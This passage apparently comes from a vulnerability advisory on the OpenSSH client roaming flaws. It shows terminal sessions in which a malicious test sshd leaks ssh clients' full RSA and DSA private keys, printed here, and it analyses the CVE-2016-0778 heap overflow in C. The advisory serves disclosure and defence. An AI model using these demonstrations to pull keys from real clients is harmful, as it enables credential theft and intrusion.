$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
-----END RSA PRIVATE KEY-----
# env ROAMING="client_out_buf_size:2048" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-35ee7ab0/infoleak
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-6cb31d82/infoleak
...
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015
$ /usr/bin/ssh -V
OpenSSH_7.0, LibreSSL 2.2.2
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL
ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s
17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8
L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh
xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP
vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl
Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP
Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19
qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY
gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK
QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt
gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL
cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB
+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl
hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri
hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh
vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O
nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG
8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
-----END RSA PRIVATE KEY-----
# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1
[connection suspended, press return to resume]Segmentation fault (core dumped)
(this example requires a ProxyCommand because of the NULL-aitop bug
described in the Mitigating Factors of the Information Leak section, and
crashes because of the NULL-pointer dereference discussed in the
Mitigating Factors of the Buffer Overflow section)
# cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
------------------------------------------------------------------------
Private Key Disclosure example: CentOS 7, 1024-bit DSA key
------------------------------------------------------------------------
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n
GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2
hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4=
-----END DSA PRIVATE KEY-----
# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
...
# strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5
# strings /tmp/roaming-b324ce87/infoleak
IuQL
R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9v
# strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC
# strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA
yq4Kwj/
# strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
# strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4
------------------------------------------------------------------------
Private Key Disclosure example: Fedora 20, 2048-bit RSA key
------------------------------------------------------------------------
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Fedora 20 (Heisenbug)"
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz
HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp
o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ
/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy
2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr
Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm
qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=
-----END RSA PRIVATE KEY-----
# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
...
# strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG
# strings /tmp/roaming-47b46456/infoleak
RGAcE0nc
GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9
# strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p
# strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe
nSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
# strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe
r3TwTa0pPEk11
LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37P
# strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ
26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
# strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxS
# strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1
C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT
# strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp
tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s
# strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp
6JmTOun5zVV6A
H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s
# strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ
# strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
========================================================================
Buffer Overflow (CVE-2016-0778)
========================================================================
------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------
Support for roaming was elegantly added to the OpenSSH client: the calls
to read() and write() that communicate with the SSH server were replaced
by calls to roaming_read() and roaming_write(), two wrappers that depend
on wait_for_roaming_reconnect() to transparently reconnect to the server
after a disconnection. The wait_for_roaming_reconnect() routine is
essentially a sequence of four subroutines:
239 int
240 wait_for_roaming_reconnect(void)
241 {
...
250 fprintf(stderr, "[connection suspended, press return to resume]");
...
252 packet_backup_state();
253 /* TODO Perhaps we should read from tty here */
254 while ((c = fgetc(stdin)) != EOF) {
...
259 if (c != '\n' && c != '\r')
260 continue;
261
262 if (ssh_connect(host, &hostaddr, options.port,
...
265 options.proxy_command) == 0 && roaming_resume() == 0) {
266 packet_restore_state();
...
268 fprintf(stderr, "[connection resumed]\n");
...
270 return 0;
271 }
272
273 fprintf(stderr, "[reconnect failed, press return to retry]");
...
275 }
276 fprintf(stderr, "[exiting]\n");
...
278 exit(0);
279 }
1. packet_backup_state() close()s connection_in and connection_out (the
old file descriptors that connected the client to the server), and saves
the state of the suspended SSH session (for example, the encryption and
decryption contexts).
2. ssh_connect() opens new file descriptors, and connects them to the
SSH server.
3. roaming_resume() negotiates the resumption of the suspended SSH
session with the server, and calls resend_bytes().
4. packet_restore_state() updates connection_in and connection_out (with
the new file descriptors that connect the client to the server), and
restores the state of the suspended SSH session.
The new file descriptors for connection_in and connection_out may differ
from the old ones (if, for example, files or pipes or sockets are opened
or closed between two successive ssh_connect() calls), but unfortunately
historical code in OpenSSH assumes that they are constant:
- In client_loop(), the variables connection_in and connection_out are
cached locally, but packet_write_poll() calls roaming_write(), which
may assign new values to connection_in and connection_out (if a
reconnection occurs), and client_wait_until_can_do_something()
subsequently reuses the old, cached values.
- client_loop() eventually updates these cached values, and the
following FD_ISSET() uses a new, updated file descriptor (the fd
connection_out), but an old, out-of-date file descriptor set (the
fd_set writeset).
- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)
first calloc()ates setp, a file descriptor set for connection_in;
next, it loops around memset(), FD_SET(), select() and roaming_read();
last, it free()s setp and returns. Unfortunately, roaming_read() may
reassign a higher value to connection_in (if a reconnection occurs),
but setp is never enlarged, and the following memset() and FD_SET()
may therefore overflow setp (a heap-based buffer overflow):
1048 int
1049 packet_read_seqnr(u_int32_t *seqnr_p)
1050 {
....
1052 fd_set *setp;
....
1058 setp = (fd_set *)xcalloc(howmany(active_state->connection_in + 1,
1059 NFDBITS), sizeof(fd_mask));
....
1065 for (;;) {
....
1075 if (type != SSH_MSG_NONE) {
1076 free(setp);
1077 return type;
1078 }
....
1083 memset(setp, 0, howmany(active_state->connection_in + 1,
1084 NFDBITS) * sizeof(fd_mask));
1085 FD_SET(active_state->connection_in, setp);
....
1092 for (;;) {
....
1097 if ((ret = select(active_state->connection_in + 1, setp,
1098 NULL, NULL, timeoutp)) >= 0)
1099 break;
....
1115 }
....
1117 do {
....
1119 len = roaming_read(active_state->connection_in, buf,
1120 sizeof(buf), &cont);
1121 } while (len == 0 && cont);
....
1130 }
1131 /* NOTREACHED */
1132 }
- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is
basically similar to packet_read_seqnr() and may overflow its own setp
if roaming_write() (called by packet_write_poll()) reassigns a higher
value to connection_out (after a successful reconnection):
1739 void
1740 packet_write_wait(void)
1741 {
1742 fd_set *setp;
....
1746 setp = (fd_set *)xcalloc(howmany(active_state->connection_out + 1,
1747 NFDBITS), sizeof(fd_mask));
1748 packet_write_poll();
1749 while (packet_have_data_to_write()) {
1750 memset(setp, 0, howmany(active_state->connection_out + 1,
1751 NFDBITS) * sizeof(fd_mask));
1752 FD_SET(active_state->connection_out, setp);
....
1758 for (;;) {
....
1763 if ((ret = select(active_state->connection_out + 1,
1764 NULL, setp, NULL, timeoutp)) >= 0)
1765 break;
....
1776 }
....
1782 packet_write_poll();
1783 }
1784 free(setp);
1785 }
------------------------------------------------------------------------
Mitigating Factors
------------------------------------------------------------------------
This buffer overflow affects all OpenSSH clients >= 5.4, but its impact
is significantly reduced by the Mitigating Factors detailed in the
Information Leak section, and additionally:
- OpenSSH versions >= 6.8 reimplement packet_backup_state() and
packet_restore_state(), but introduce a bug that prevents the buffer
overflow from being exploited; indeed, ssh_packet_backup_state() swaps
two local pointers, ssh and backup_state, instead of swapping the two
global pointers active_state and backup_state:
9 struct ssh *active_state, *backup_state;
...
238 void
239 packet_backup_state(void)
240 {
241 ssh_packet_backup_state(active_state, backup_state);
242 }
243
244 void
245 packet_restore_state(void)
246 {
247 ssh_packet_restore_state(active_state, backup_state);
248 }
2269 void
2270 ssh_packet_backup_state(struct ssh *ssh,
2271 struct ssh *backup_state)
2272 {
2273 struct ssh *tmp;
....
2279 if (backup_state)
2280 tmp = backup_state;
2281 else
2282 tmp = ssh_alloc_session_state();
2283 backup_state = ssh;
2284 ssh = tmp;
2285 }
....
2291 void
2292 ssh_packet_restore_state(struct ssh *ssh,
2293 struct ssh *backup_state)
2294 {
2295 struct ssh *tmp;
....
2299 tmp = backup_state;
2300 backup_state = ssh;
2301 ssh = tmp;
2302 ssh->state->connection_in = backup_state->state->connection_in;
As a result, the global pointer backup_state is still NULL when passed
to ssh_packet_restore_state(), and crashes the OpenSSH client when
dereferenced:
# env ROAMING="overflow:A fd_leaks:0" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]Segmentation fault (core dumped)
This bug prevents the buffer overflow from being exploited, but not
the information leak, because the vulnerable function resend_bytes()
is called before ssh_packet_restore_state() crashes.
------------------------------------------------------------------------
File Descriptor Leak
------------------------------------------------------------------------
A back-of-the-envelope calculation indicates that, in order to increase
the file descriptor connection_in or connection_out, and thus overflow
the file descriptor set setp in packet_read_seqnr() or
packet_write_wait(), a file descriptor leak is needed:
- First, the number of bytes calloc()ated for setp is rounded up to the
nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)
on 64-bit systems.
- Next, in glibc, this number is rounded up to the nearest multiple of
MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit
systems.
- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit
systems, of which 24 bytes (or 192 file descriptors) are reserved for
setp.
- In conclusion, a file descriptor leak is needed, because connection_in
or connection_out has to be increased by hundreds in order to overflow
setp.
The search for a suitable file descriptor leak begins with a study of
the behavior of the four ssh_connect() methods, when called for a
reconnection by wait_for_roaming_reconnect():
1. The default method ssh_connect_direct() communicates with the server
through a simple TCP socket: the two file descriptors connection_in and
connection_out are both equal to this socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of the
old TCP socket is close()d by packet_backup_state(), but immediately
reused for the new TCP socket in ssh_connect_direct(): the new file
descriptors connection_in and connection_out are equal to this old,
low-numbered file descriptor, and cannot possibly overflow setp.
2. The special ProxyCommand "-" communicates with the server through
stdin and stdout, but (as explained in the Mitigating Factors of the
Information Leak section) it cannot possibly reconnect to the server,
and is therefore immune to this buffer overflow.
